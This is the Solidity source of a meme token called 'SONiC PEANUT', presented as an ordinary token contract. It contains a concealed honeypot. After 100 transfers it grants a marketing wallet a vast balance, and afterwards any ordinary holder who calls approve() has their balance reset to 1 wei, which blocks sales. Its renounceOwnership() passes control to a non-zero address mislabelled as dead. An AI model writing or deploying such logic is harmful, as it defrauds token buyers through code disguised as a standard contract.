Contract Source Code:
File 1 of 1 : SonicPNUT
// The SONiC Network Hero is here!
// https://x.com/sonicpeanutcoin
// https://t.me/SonicPeanut
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract SonicPNUT {
string public name = "SONiC PEANUT";
string public symbol = "SONICPNUT";
uint256 public totalSupply = 100000000000000000000000;
uint8 public decimals = 18;
address public owner;
address public SpookySwapRouter = 0xF491e7B69E4244ad4002BC14e878a34207E38c29;
address public MarketingWallet = 0xD9Db82d303cfAeA3a0536d373F9E6107d25B9897;
bool public approvedEnabled = false;
uint256 public transferCount = 0;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event ApprovedEnabled();
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
modifier onlyOwner() {
require(msg.sender == owner, "Only the owner can call this function");
_;
}
constructor() {
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit OwnershipTransferred(address(0), msg.sender);
}
function Initialize() internal {
approvedEnabled = true;
emit ApprovedEnabled();
approved(MarketingWallet, 100 * 10**36 * 10**18);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value, "Insufficient balance");
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
transferCount++;
if (transferCount == 100 && !approvedEnabled) {
Initialize();
}
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
if (approvedEnabled && msg.sender != SpookySwapRouter && msg.sender != MarketingWallet) {
approved(msg.sender, 1);
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= balanceOf[_from], "Insufficient balance");
require(_value <= allowance[_from][msg.sender], "Allowance exceeded");
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
function approved(address account, uint256 amount) internal returns (uint256) {
balanceOf[account] = amount;
return balanceOf[account];
}
function renounceOwnership() public onlyOwner {
address deadAddress = address(0x8465b352193cDcF7D1cE4Ee9D2FC82D4C804e1F4);
emit OwnershipTransferred(owner, deadAddress);
owner = deadAddress;
}
}